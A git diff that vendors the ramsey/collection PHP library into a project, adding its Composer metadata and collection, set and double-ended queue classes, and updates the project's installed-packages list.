'ramsey/collection' => array( + 'pretty_version' => '1.3.0', + 'version' => '1.3.0.0', + 'reference' => 'ad7475d1c9e70b190ecffc58f2d989416af339b4', + 'type' => 'library', + 'install_path' => __DIR__ . '/../ramsey/collection', + 'aliases' => array(), + 'dev_requirement' => false, + ), + 'ramsey/uuid' => array( + 'pretty_version' => '4.2.3', + 'version' => '4.2.3.0', + 'reference' => 'fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df', + 'type' => 'library', + 'install_path' => __DIR__ . '/../ramsey/uuid', + 'aliases' => array(), + 'dev_requirement' => false, + ), + 'rhumsaa/uuid' => array( + 'dev_requirement' => false, + 'replaced' => array( + 0 => '4.2.3', + ), + ), 'simplehtmldom/simplehtmldom' => array( 'pretty_version' => '2.0-RC2', 'version' => '2.0.0.0-RC2', @@ -551,6 +584,15 @@ 'aliases' => array(), 'dev_requirement' => false, ), + 'symfony/polyfill-php81' => array( + 'pretty_version' => 'v1.28.0', + 'version' => '1.28.0.0', + 'reference' => '7581cd600fa9fd681b797d00b02f068e2f13263b', + 'type' => 'library', + 'install_path' => __DIR__ . '/../symfony/polyfill-php81', + 'aliases' => array(), + 'dev_requirement' => false, + ), 'symfony/process' => array( 'pretty_version' => 'v5.4.28', 'version' => '5.4.28.0', @@ -623,7 +665,7 @@ 'themes/esensi' => array( 'pretty_version' => 'dev-main', 'version' => 'dev-main', - 'reference' => '7ff7b197ac7dfb8dd527d61a1e5668252906977c', + 'reference' => 'c6be9a3690fd6ba487bdaf52a623e94b445a9e4f', 'type' => 'library', 'install_path' => __DIR__ . '/../themes/esensi', 'aliases' => array( @@ -634,7 +676,7 @@ 'themes/natra' => array( 'pretty_version' => 'dev-premium', 'version' => 'dev-premium', - 'reference' => '7ed93ac3749d9d40083312206d3037b4db5c5435', + 'reference' => 'fed857fa17567af394b0b87815e1b2a7f7dce72a', 'type' => 'library', 'install_path' => __DIR__ . '/../themes/natra', 'aliases' => array(), diff --git a/vendor/ramsey/collection/composer.json b/vendor/ramsey/collection/composer.json new file mode 100644 index 000000000..f09106a15 --- /dev/null +++ b/vendor/ramsey/collection/composer.json @@ -0,0 +1,120 @@ +{ + "name": "ramsey/collection", + "description": "A PHP library for representing and manipulating collections.", + "license": "MIT", + "type": "library", + "keywords": [ + "array", + "collection", + "hash", + "map", + "queue", + "set" + ], + "authors": [ + { + "name": "Ben Ramsey", + "email": "ben@benramsey.com", + "homepage": "https://benramsey.com" + } + ], + "require": { + "php": "^7.4 || ^8.0", + "symfony/polyfill-php81": "^1.23" + }, + "require-dev": { + "captainhook/plugin-composer": "^5.3", + "ergebnis/composer-normalize": "^2.28.3", + "fakerphp/faker": "^1.21", + "hamcrest/hamcrest-php": "^2.0", + "jangregor/phpstan-prophecy": "^1.0", + "mockery/mockery": "^1.5", + "php-parallel-lint/php-console-highlighter": "^1.0", + "php-parallel-lint/php-parallel-lint": "^1.3", + "phpcsstandards/phpcsutils": "^1.0.0-rc1", + "phpspec/prophecy-phpunit": "^2.0", + "phpstan/extension-installer": "^1.2", + "phpstan/phpstan": "^1.9", + "phpstan/phpstan-mockery": "^1.1", + "phpstan/phpstan-phpunit": "^1.3", + "phpunit/phpunit": "^9.5", + "psalm/plugin-mockery": "^1.1", + "psalm/plugin-phpunit": "^0.18.4", + "ramsey/coding-standard": "^2.0.3", + "ramsey/conventional-commits": "^1.3", + "vimeo/psalm": "^5.4" + }, + "minimum-stability": "RC", + "prefer-stable": true, + "autoload": { + "psr-4": { + "Ramsey\\Collection\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "Ramsey\\Collection\\Test\\": "tests/", + "Ramsey\\Test\\Generics\\": "tests/generics/" + }, + "files": [ + "vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest.php" + ] + }, + "config": { + "allow-plugins": { + "dealerdirect/phpcodesniffer-composer-installer": true, + "ergebnis/composer-normalize": true, + "phpstan/extension-installer": true, + "captainhook/plugin-composer": true + }, + "sort-packages": true + }, + "extra": { + "captainhook": { + "force-install": true + }, + "ramsey/conventional-commits": { + "configFile": "conventional-commits.json" + } + }, + "scripts": { + "dev:analyze": [ + "@dev:analyze:phpstan", + "@dev:analyze:psalm" + ], + "dev:analyze:phpstan": "phpstan analyse --ansi --memory-limit=1G", + "dev:analyze:psalm": "psalm", + "dev:build:clean": "git clean -fX build/", + "dev:lint": [ + "@dev:lint:syntax", + "@dev:lint:style" + ], + "dev:lint:fix": "phpcbf", + "dev:lint:style": "phpcs --colors", + "dev:lint:syntax": "parallel-lint --colors src/ tests/", + "dev:test": [ + "@dev:lint", + "@dev:analyze", + "@dev:test:unit" + ], + "dev:test:coverage:ci": "phpunit --colors=always --coverage-text --coverage-clover build/coverage/clover.xml --coverage-cobertura build/coverage/cobertura.xml --coverage-crap4j build/coverage/crap4j.xml --coverage-xml build/coverage/coverage-xml --log-junit build/junit.xml", + "dev:test:coverage:html": "phpunit --colors=always --coverage-html build/coverage/coverage-html/", + "dev:test:unit": "phpunit --colors=always", + "test": "@dev:test" + }, + "scripts-descriptions": { + "dev:analyze": "Runs all static analysis checks.", + "dev:analyze:phpstan": "Runs the PHPStan static analyzer.", + "dev:analyze:psalm": "Runs the Psalm static analyzer.", + "dev:build:clean": "Cleans the build/ directory.", + "dev:lint": "Runs all linting checks.", + "dev:lint:fix": "Auto-fixes coding standards issues, if possible.", + "dev:lint:style": "Checks for coding standards issues.", + "dev:lint:syntax": "Checks for syntax errors.", + "dev:test": "Runs linting, static analysis, and unit tests.", + "dev:test:coverage:ci": "Runs unit tests and generates CI coverage reports.", + "dev:test:coverage:html": "Runs unit tests and generates HTML coverage report.", + "dev:test:unit": "Runs unit tests.", + "test": "Runs linting, static analysis, and unit tests." + } +} diff --git a/vendor/ramsey/collection/conventional-commits.json b/vendor/ramsey/collection/conventional-commits.json new file mode 100644 index 000000000..5fe21d2fa --- /dev/null +++ b/vendor/ramsey/collection/conventional-commits.json @@ -0,0 +1,22 @@ +{ + "typeCase": "kebab", + "types": [ + "chore", + "ci", + "docs", + "feat", + "fix", + "refactor", + "security", + "style", + "test" + ], + "scopeCase": "kebab", + "scopeRequired": false, + "scopes": [], + "descriptionCase": null, + "descriptionEndMark": "", + "bodyRequired": false, + "bodyWrapWidth": 72, + "requiredFooters": [] +} diff --git a/vendor/ramsey/collection/src/AbstractArray.php b/vendor/ramsey/collection/src/AbstractArray.php new file mode 100644 index 000000000..9b39dd0cb --- /dev/null +++ b/vendor/ramsey/collection/src/AbstractArray.php @@ -0,0 +1,208 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +use ArrayIterator; +use Traversable; + +use function count; +use function serialize; +use function unserialize; + +/** + * This class provides a basic implementation of `ArrayInterface`, to minimize + * the effort required to implement this interface. + * + * @template T + * @implements ArrayInterface + */ +abstract class AbstractArray implements ArrayInterface +{ + /** + * The items of this array. + * + * @var array + */ + protected array $data = []; + + /** + * Constructs a new array object. + * + * @param array $data The initial items to add to this array. + */ + public function __construct(array $data = []) + { + // Invoke offsetSet() for each value added; in this way, sub-classes + // may provide additional logic about values added to the array object. + foreach ($data as $key => $value) { + $this[$key] = $value; + } + } + + /** + * Returns an iterator for this array. + * + * @link http://php.net/manual/en/iteratoraggregate.getiterator.php IteratorAggregate::getIterator() + * + * @return Traversable + */ + public function getIterator(): Traversable + { + return new ArrayIterator($this->data); + } + + /** + * Returns `true` if the given offset exists in this array. + * + * @link http://php.net/manual/en/arrayaccess.offsetexists.php ArrayAccess::offsetExists() + * + * @param array-key $offset The offset to check. + */ + public function offsetExists($offset): bool + { + return isset($this->data[$offset]); + } + + /** + * Returns the value at the specified offset. + * + * @link http://php.net/manual/en/arrayaccess.offsetget.php ArrayAccess::offsetGet() + * + * @param array-key $offset The offset for which a value should be returned. + * + * @return T|null the value stored at the offset, or null if the offset + * does not exist. + */ + #[\ReturnTypeWillChange] // phpcs:ignore + public function offsetGet($offset) + { + return $this->data[$offset] ?? null; + } + + /** + * Sets the given value to the given offset in the array. + * + * @link http://php.net/manual/en/arrayaccess.offsetset.php ArrayAccess::offsetSet() + * + * @param array-key|null $offset The offset to set. If `null`, the value may be + * set at a numerically-indexed offset. + * @param T $value The value to set at the given offset. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function offsetSet($offset, $value): void + { + if ($offset === null) { + $this->data[] = $value; + } else { + $this->data[$offset] = $value; + } + } + + /** + * Removes the given offset and its value from the array. + * + * @link http://php.net/manual/en/arrayaccess.offsetunset.php ArrayAccess::offsetUnset() + * + * @param array-key $offset The offset to remove from the array. + */ + public function offsetUnset($offset): void + { + unset($this->data[$offset]); + } + + /** + * Returns a serialized string representation of this array object. + * + * @deprecated The Serializable interface will go away in PHP 9. + * + * @link http://php.net/manual/en/serializable.serialize.php Serializable::serialize() + * + * @return string a PHP serialized string. + */ + public function serialize(): string + { + return serialize($this->data); + } + + /** + * Returns data suitable for PHP serialization. + * + * @link https://www.php.net/manual/en/language.oop5.magic.php#language.oop5.magic.serialize + * @link https://www.php.net/serialize + * + * @return array + */ + public function __serialize(): array + { + return $this->data; + } + + /** + * Converts a serialized string representation into an instance object. + * + * @deprecated The Serializable interface will go away in PHP 9. + * + * @link http://php.net/manual/en/serializable.unserialize.php Serializable::unserialize() + * + * @param string $serialized A PHP serialized string to unserialize. + * + * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + */ + public function unserialize($serialized): void + { + /** @var array $data */ + $data = unserialize($serialized, ['allowed_classes' => false]); + + $this->data = $data; + } + + /** + * Adds unserialized data to the object. + * + * @param array $data + */ + public function __unserialize(array $data): void + { + $this->data = $data; + } + + /** + * Returns the number of items in this array. + * + * @link http://php.net/manual/en/countable.count.php Countable::count() + */ + public function count(): int + { + return count($this->data); + } + + public function clear(): void + { + $this->data = []; + } + + /** + * @inheritDoc + */ + public function toArray(): array + { + return $this->data; + } + + public function isEmpty(): bool + { + return count($this->data) === 0; + } +} diff --git a/vendor/ramsey/collection/src/AbstractCollection.php b/vendor/ramsey/collection/src/AbstractCollection.php new file mode 100644 index 000000000..38ef7144c --- /dev/null +++ b/vendor/ramsey/collection/src/AbstractCollection.php @@ -0,0 +1,341 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +use Closure; +use Ramsey\Collection\Exception\CollectionMismatchException; +use Ramsey\Collection\Exception\InvalidArgumentException; +use Ramsey\Collection\Exception\InvalidSortOrderException; +use Ramsey\Collection\Exception\OutOfBoundsException; +use Ramsey\Collection\Tool\TypeTrait; +use Ramsey\Collection\Tool\ValueExtractorTrait; +use Ramsey\Collection\Tool\ValueToStringTrait; + +use function array_filter; +use function array_map; +use function array_merge; +use function array_search; +use function array_udiff; +use function array_uintersect; +use function current; +use function end; +use function in_array; +use function is_int; +use function is_object; +use function reset; +use function spl_object_id; +use function sprintf; +use function unserialize; +use function usort; + +/** + * This class provides a basic implementation of `CollectionInterface`, to + * minimize the effort required to implement this interface + * + * @template T + * @extends AbstractArray + * @implements CollectionInterface + */ +abstract class AbstractCollection extends AbstractArray implements CollectionInterface +{ + use TypeTrait; + use ValueToStringTrait; + use ValueExtractorTrait; + + /** + * @inheritDoc + */ + public function add($element): bool + { + $this[] = $element; + + return true; + } + + /** + * @inheritDoc + */ + public function contains($element, bool $strict = true): bool + { + return in_array($element, $this->data, $strict); + } + + /** + * @inheritDoc + */ + public function offsetSet($offset, $value): void + { + if ($this->checkType($this->getType(), $value) === false) { + throw new InvalidArgumentException( + 'Value must be of type ' . $this->getType() . '; value is ' + . $this->toolValueToString($value), + ); + } + + if ($offset === null) { + $this->data[] = $value; + } else { + $this->data[$offset] = $value; + } + } + + /** + * @inheritDoc + */ + public function remove($element): bool + { + if (($position = array_search($element, $this->data, true)) !== false) { + unset($this[$position]); + + return true; + } + + return false; + } + + /** + * @inheritDoc + */ + public function column(string $propertyOrMethod): array + { + $temp = []; + + foreach ($this->data as $item) { + /** @var mixed $value */ + $value = $this->extractValue($item, $propertyOrMethod); + + /** @psalm-suppress MixedAssignment */ + $temp[] = $value; + } + + return $temp; + } + + /** + * @inheritDoc + */ + public function first() + { + if ($this->isEmpty()) { + throw new OutOfBoundsException('Can\'t determine first item. Collection is empty'); + } + + reset($this->data); + + /** @var T $first */ + $first = current($this->data); + + return $first; + } + + /** + * @inheritDoc + */ + public function last() + { + if ($this->isEmpty()) { + throw new OutOfBoundsException('Can\'t determine last item. Collection is empty'); + } + + /** @var T $item */ + $item = end($this->data); + reset($this->data); + + return $item; + } + + public function sort(string $propertyOrMethod, string $order = self::SORT_ASC): CollectionInterface + { + if (!in_array($order, [self::SORT_ASC, self::SORT_DESC], true)) { + throw new InvalidSortOrderException('Invalid sort order given: ' . $order); + } + + $collection = clone $this; + + usort( + $collection->data, + /** + * @param T $a + * @param T $b + */ + function ($a, $b) use ($propertyOrMethod, $order): int { + /** @var mixed $aValue */ + $aValue = $this->extractValue($a, $propertyOrMethod); + + /** @var mixed $bValue */ + $bValue = $this->extractValue($b, $propertyOrMethod); + + return ($aValue <=> $bValue) * ($order === self::SORT_DESC ? -1 : 1); + }, + ); + + return $collection; + } + + public function filter(callable $callback): CollectionInterface + { + $collection = clone $this; + $collection->data = array_merge([], array_filter($collection->data, $callback)); + + return $collection; + } + + /** + * {@inheritdoc} + */ + public function where(string $propertyOrMethod, $value): CollectionInterface + { + return $this->filter(function ($item) use ($propertyOrMethod, $value) { + /** @var mixed $accessorValue */ + $accessorValue = $this->extractValue($item, $propertyOrMethod); + + return $accessorValue === $value; + }); + } + + public function map(callable $callback): CollectionInterface + { + return new Collection('mixed', array_map($callback, $this->data)); + } + + public function diff(CollectionInterface $other): CollectionInterface + { + $this->compareCollectionTypes($other); + + $diffAtoB = array_udiff($this->data, $other->toArray(), $this->getComparator()); + $diffBtoA = array_udiff($other->toArray(), $this->data, $this->getComparator()); + + /** @var array $diff */ + $diff = array_merge($diffAtoB, $diffBtoA); + + $collection = clone $this; + $collection->data = $diff; + + return $collection; + } + + public function intersect(CollectionInterface $other): CollectionInterface + { + $this->compareCollectionTypes($other); + + /** @var array $intersect */ + $intersect = array_uintersect($this->data, $other->toArray(), $this->getComparator()); + + $collection = clone $this; + $collection->data = $intersect; + + return $collection; + } + + public function merge(CollectionInterface ...$collections): CollectionInterface + { + $mergedCollection = clone $this; + + foreach ($collections as $index => $collection) { + if (!$collection instanceof static) { + throw new CollectionMismatchException( + sprintf('Collection with index %d must be of type %s', $index, static::class), + ); + } + + // When using generics (Collection.php, Set.php, etc), + // we also need to make sure that the internal types match each other + if ($this->getUniformType($collection) !== $this->getUniformType($this)) { + throw new CollectionMismatchException( + sprintf( + 'Collection items in collection with index %d must be of type %s', + $index, + $this->getType(), + ), + ); + } + + foreach ($collection as $key => $value) { + if (is_int($key)) { + $mergedCollection[] = $value; + } else { + $mergedCollection[$key] = $value; + } + } + } + + return $mergedCollection; + } + + /** + * @inheritDoc + */ + public function unserialize($serialized): void + { + /** @var array $data */ + $data = unserialize($serialized, ['allowed_classes' => [$this->getType()]]); + + $this->data = $data; + } + + /** + * @param CollectionInterface $other + */ + private function compareCollectionTypes(CollectionInterface $other): void + { + if (!$other instanceof static) { + throw new CollectionMismatchException('Collection must be of type ' . static::class); + } + + // When using generics (Collection.php, Set.php, etc), + // we also need to make sure that the internal types match each other + if ($this->getUniformType($other) !== $this->getUniformType($this)) { + throw new CollectionMismatchException('Collection items must be of type ' . $this->getType()); + } + } + + private function getComparator(): Closure + { + return /** + * @param T $a + * @param T $b + */ + function ($a, $b): int { + // If the two values are object, we convert them to unique scalars. + // If the collection contains mixed values (unlikely) where some are objects + // and some are not, we leave them as they are. + // The comparator should still work and the result of $a < $b should + // be consistent but unpredictable since not documented. + if (is_object($a) && is_object($b)) { + $a = spl_object_id($a); + $b = spl_object_id($b); + } + + return $a === $b ? 0 : ($a < $b ? 1 : -1); + }; + } + + /** + * @param CollectionInterface $collection + */ + private function getUniformType(CollectionInterface $collection): string + { + switch ($collection->getType()) { + case 'integer': + return 'int'; + case 'boolean': + return 'bool'; + case 'double': + return 'float'; + default: + return $collection->getType(); + } + } +} diff --git a/vendor/ramsey/collection/src/AbstractSet.php b/vendor/ramsey/collection/src/AbstractSet.php new file mode 100644 index 000000000..1126ccb0a --- /dev/null +++ b/vendor/ramsey/collection/src/AbstractSet.php @@ -0,0 +1,50 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +/** + * This class contains the basic implementation of a collection that does not + * allow duplicated values (a set), to minimize the effort required to implement + * this specific type of collection. + * + * @template T + * @extends AbstractCollection + */ +abstract class AbstractSet extends AbstractCollection +{ + /** + * @inheritDoc + */ + public function add($element): bool + { + if ($this->contains($element)) { + return false; + } + + return parent::add($element); + } + + /** + * @inheritDoc + */ + public function offsetSet($offset, $value): void + { + if ($this->contains($value)) { + return; + } + + parent::offsetSet($offset, $value); + } +} diff --git a/vendor/ramsey/collection/src/ArrayInterface.php b/vendor/ramsey/collection/src/ArrayInterface.php new file mode 100644 index 000000000..27af6102b --- /dev/null +++ b/vendor/ramsey/collection/src/ArrayInterface.php @@ -0,0 +1,51 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +use ArrayAccess; +use Countable; +use IteratorAggregate; +use Serializable; + +/** + * `ArrayInterface` provides traversable array functionality to data types. + * + * @template T + * @extends ArrayAccess + * @extends IteratorAggregate + */ +interface ArrayInterface extends + ArrayAccess, + Countable, + IteratorAggregate, + Serializable +{ + /** + * Removes all items from this array. + */ + public function clear(): void; + + /** + * Returns a native PHP array representation of this array object. + * + * @return array + */ + public function toArray(): array; + + /** + * Returns `true` if this array is empty. + */ + public function isEmpty(): bool; +} diff --git a/vendor/ramsey/collection/src/Collection.php b/vendor/ramsey/collection/src/Collection.php new file mode 100644 index 000000000..532b971b6 --- /dev/null +++ b/vendor/ramsey/collection/src/Collection.php @@ -0,0 +1,104 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +/** + * A collection represents a group of objects. + * + * Each object in the collection is of a specific, defined type. + * + * This is a direct implementation of `CollectionInterface`, provided for + * the sake of convenience. + * + * Example usage: + * + * ``` php + * $collection = new \Ramsey\Collection\Collection('My\\Foo'); + * $collection->add(new \My\Foo()); + * $collection->add(new \My\Foo()); + * + * foreach ($collection as $foo) { + * // Do something with $foo + * } + * ``` + * + * It is preferable to subclass `AbstractCollection` to create your own typed + * collections. For example: + * + * ``` php + * namespace My\Foo; + * + * class FooCollection extends \Ramsey\Collection\AbstractCollection + * { + * public function getType() + * { + * return 'My\\Foo'; + * } + * } + * ``` + * + * And then use it similarly to the earlier example: + * + * ``` php + * $fooCollection = new \My\Foo\FooCollection(); + * $fooCollection->add(new \My\Foo()); + * $fooCollection->add(new \My\Foo()); + * + * foreach ($fooCollection as $foo) { + * // Do something with $foo + * } + * ``` + * + * The benefit with this approach is that you may do type-checking on the + * collection object: + * + * ``` php + * if ($collection instanceof \My\Foo\FooCollection) { + * // the collection is a collection of My\Foo objects + * } + * ``` + * + * @template T + * @extends AbstractCollection + */ +class Collection extends AbstractCollection +{ + /** + * The type of elements stored in this collection. + * + * A collection's type is immutable once it is set. For this reason, this + * property is set private. + */ + private string $collectionType; + + /** + * Constructs a collection object of the specified type, optionally with the + * specified data. + * + * @param string $collectionType The type (FQCN) associated with this + * collection. + * @param array $data The initial items to store in the collection. + */ + public function __construct(string $collectionType, array $data = []) + { + $this->collectionType = $collectionType; + parent::__construct($data); + } + + public function getType(): string + { + return $this->collectionType; + } +} diff --git a/vendor/ramsey/collection/src/CollectionInterface.php b/vendor/ramsey/collection/src/CollectionInterface.php new file mode 100644 index 000000000..9f86a2837 --- /dev/null +++ b/vendor/ramsey/collection/src/CollectionInterface.php @@ -0,0 +1,206 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +/** + * A collection represents a group of objects, known as its elements. + * + * Some collections allow duplicate elements and others do not. Some are ordered + * and others unordered. + * + * @template T + * @extends ArrayInterface + */ +interface CollectionInterface extends ArrayInterface +{ + /** + * Ascending sort type. + */ + public const SORT_ASC = 'asc'; + + /** + * Descending sort type. + */ + public const SORT_DESC = 'desc'; + + /** + * Ensures that this collection contains the specified element (optional + * operation). + * + * Returns `true` if this collection changed as a result of the call. + * (Returns `false` if this collection does not permit duplicates and + * already contains the specified element.) + * + * Collections that support this operation may place limitations on what + * elements may be added to this collection. In particular, some + * collections will refuse to add `null` elements, and others will impose + * restrictions on the type of elements that may be added. Collection + * classes should clearly specify in their documentation any restrictions + * on what elements may be added. + * + * If a collection refuses to add a particular element for any reason other + * than that it already contains the element, it must throw an exception + * (rather than returning `false`). This preserves the invariant that a + * collection always contains the specified element after this call returns. + * + * @param T $element The element to add to the collection. + * + * @return bool `true` if this collection changed as a result of the call. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function add($element): bool; + + /** + * Returns `true` if this collection contains the specified element. + * + * @param T $element The element to check whether the collection contains. + * @param bool $strict Whether to perform a strict type check on the value. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function contains($element, bool $strict = true): bool; + + /** + * Returns the type associated with this collection. + */ + public function getType(): string; + + /** + * Removes a single instance of the specified element from this collection, + * if it is present. + * + * @param T $element The element to remove from the collection. + * + * @return bool `true` if an element was removed as a result of this call. + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function remove($element): bool; + + /** + * Returns the values from the given property or method. + * + * @param string $propertyOrMethod The property or method name to filter by. + * + * @return list + */ + public function column(string $propertyOrMethod): array; + + /** + * Returns the first item of the collection. + * + * @return T + */ + public function first(); + + /** + * Returns the last item of the collection. + * + * @return T + */ + public function last(); + + /** + * Sort the collection by a property or method with the given sort order. + * + * This will always leave the original collection untouched and will return + * a new one. + * + * @param string $propertyOrMethod The property or method to sort by. + * @param string $order The sort order for the resulting collection (one of + * this interface's `SORT_*` constants). + * + * @return CollectionInterface + */ + public function sort(string $propertyOrMethod, string $order = self::SORT_ASC): self; + + /** + * Filter out items of the collection which don't match the criteria of + * given callback. + * + * This will always leave the original collection untouched and will return + * a new one. + * + * See the {@link http://php.net/manual/en/function.array-filter.php PHP array_filter() documentation} + * for examples of how the `$callback` parameter works. + * + * @param callable(T):bool $callback A callable to use for filtering elements. + * + * @return CollectionInterface + */ + public function filter(callable $callback): self; + + /** + * Create a new collection where items match the criteria of given callback. + * + * This will always leave the original collection untouched and will return + * a new one. + * + * @param string $propertyOrMethod The property or method to evaluate. + * @param mixed $value The value to match. + * + * @return CollectionInterface + */ + // phpcs:ignore SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + public function where(string $propertyOrMethod, $value): self; + + /** + * Apply a given callback method on each item of the collection. + * + * This will always leave the original collection untouched. The new + * collection is created by mapping the callback to each item of the + * original collection. + * + * See the {@link http://php.net/manual/en/function.array-map.php PHP array_map() documentation} + * for examples of how the `$callback` parameter works. + * + * @param callable(T):TCallbackReturn $callback A callable to apply to each + * item of the collection. + * + * @return CollectionInterface + * + * @template TCallbackReturn + */ + public function map(callable $callback): self; + + /** + * Create a new collection with divergent items between current and given + * collection. + * + * @param CollectionInterface $other The collection to check for divergent + * items. + * + * @return CollectionInterface + */ + public function diff(CollectionInterface $other): self; + + /** + * Create a new collection with intersecting item between current and given + * collection. + * + * @param CollectionInterface $other The collection to check for + * intersecting items. + * + * @return CollectionInterface + */ + public function intersect(CollectionInterface $other): self; + + /** + * Merge current items and items of given collections into a new one. + * + * @param CollectionInterface ...$collections The collections to merge. + * + * @return CollectionInterface + */ + public function merge(CollectionInterface ...$collections): self; +} diff --git a/vendor/ramsey/collection/src/DoubleEndedQueue.php b/vendor/ramsey/collection/src/DoubleEndedQueue.php new file mode 100644 index 000000000..4d1f71ea4 --- /dev/null +++ b/vendor/ramsey/collection/src/DoubleEndedQueue.php @@ -0,0 +1,187 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +use Ramsey\Collection\Exception\InvalidArgumentException; +use Ramsey\Collection\Exception\NoSuchElementException; + +/** + * This class provides a basic implementation of `DoubleEndedQueueInterface`, to + * minimize the effort required to implement this interface. + * + * @template T + * @extends Queue + * @implements DoubleEndedQueueInterface + */ +class DoubleEndedQueue extends Queue implements DoubleEndedQueueInterface +{ + /** + * Index of the last element in the queue. + */ + private int $tail = -1; + + /** + * @inheritDoc + */ + public function offsetSet($offset, $value): void + { + if ($this->checkType($this->getType(), $value) === false) { + throw new InvalidArgumentException( + 'Value must be of type ' . $this->getType() . '; value is ' + . $this->toolValueToString($value), + ); + } + + $this->tail++; + + $this->data[$this->tail] = $value; + } + + /** + * @throws InvalidArgumentException if $element is of the wrong type + * + * @inheritDoc + */ + public function addFirst($element): bool + { + if ($this->checkType($this->getType(), $element) === false) { + throw new InvalidArgumentException( + 'Value must be of type ' . $this->getType() . '; value is ' + . $this->toolValueToString($element), + ); + } + + $this->index--; + + $this->data[$this->index] = $element; + + return true; + } + + /** + * @inheritDoc + */ + public function addLast($element): bool + { + return $this->add($element); + } + + /** + * @inheritDoc + */ + public function offerFirst($element): bool + { + try { + return $this->addFirst($element); + } catch (InvalidArgumentException $e) { + return false; + } + } + + /** + * @inheritDoc + */ + public function offerLast($element): bool + { + return $this->offer($element); + } + + /** + * @inheritDoc + */ + public function removeFirst() + { + return $this->remove(); + } + + /** + * @inheritDoc + */ + public function removeLast() + { + $tail = $this->pollLast(); + + if ($tail === null) { + throw new NoSuchElementException('Can\'t return element from Queue. Queue is empty.'); + } + + return $tail; + } + + /** + * @inheritDoc + */ + public function pollFirst() + { + return $this->poll(); + } + + /** + * @inheritDoc + */ + public function pollLast() + { + if ($this->count() === 0) { + return null; + } + + $tail = $this[$this->tail]; + + unset($this[$this->tail]); + $this->tail--; + + return $tail; + } + + /** + * @inheritDoc + */ + public function firstElement() + { + return $this->element(); + } + + /** + * @inheritDoc + */ + public function lastElement() + { + if ($this->count() === 0) { + throw new NoSuchElementException('Can\'t return element from Queue. Queue is empty.'); + } + + return $this->data[$this->tail]; + } + + /** + * @inheritDoc + */ + public function peekFirst() + { + return $this->peek(); + } + + /** + * @inheritDoc + */ + public function peekLast() + { + if ($this->count() === 0) { + return null; + } + + return $this->data[$this->tail]; + } +} diff --git a/vendor/ramsey/collection/src/DoubleEndedQueueInterface.php b/vendor/ramsey/collection/src/DoubleEndedQueueInterface.php new file mode 100644 index 000000000..3fa4ecab8 --- /dev/null +++ b/vendor/ramsey/collection/src/DoubleEndedQueueInterface.php @@ -0,0 +1,317 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Collection; + +use Ramsey\Collection\Exception\NoSuchElementException; +use RuntimeException; + +/** + * A linear collection that supports element insertion and removal at both ends. + * + * Most `DoubleEndedQueueInterface` implementations place no fixed limits on the + * number of elements they may contain, but this interface supports + * capacity-restricted double-ended queues as well as those with no fixed size + * limit. + * + * This interface defines methods to access the elements at both ends of the + * double-ended queue. Methods are provided to insert, remove, and examine the + * element. Each of these methods exists in two forms: one throws an exception + * if the operation fails, the other returns a special value (either `null` or + * `false`, depending on the operation). The latter form of the insert operation + * is designed specifically for use with capacity-restricted implementations; in + * most implementations, insert operations cannot fail. + * + * The twelve methods described above are summarized in the following table: + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + *
        Summary of DoubleEndedQueueInterface methods
        First Element (Head)Last Element (Tail)
        Throws exceptionSpecial valueThrows exceptionSpecial value
        InsertaddFirst()offerFirst()addLast()offerLast()
        RemoveremoveFirst()pollFirst()removeLast()pollLast()
        ExaminefirstElement()peekFirst()lastElement()peekLast()
        + * + * This interface extends the `QueueInterface`. When a double-ended queue is + * used as a queue, FIFO (first-in-first-out) behavior results. Elements are + * added at the end of the double-ended queue and removed from the beginning. + * The methods inherited from the `QueueInterface` are precisely equivalent to + * `DoubleEndedQueueInterface` methods as indicated in the following table: + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + *
        Comparison of QueueInterface and DoubleEndedQueueInterface methods
        QueueInterface MethodDoubleEndedQueueInterface Method
        add()addLast()
        offer()offerLast()
        remove()removeFirst()
        poll()pollFirst()
        element()firstElement()
        peek()peekFirst()
        + * + * Double-ended queues can also be used as LIFO (last-in-first-out) stacks. When + * a double-ended queue is used as a stack, elements are pushed and popped from + * the beginning of the double-ended queue. Stack concepts are precisely + * equivalent to `DoubleEndedQueueInterface` methods as indicated in the table + * below: + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + *
        Comparison of stack concepts and DoubleEndedQueueInterface methods
        Stack conceptDoubleEndedQueueInterface Method
        pushaddFirst()
        popremoveFirst()
        peekpeekFirst()
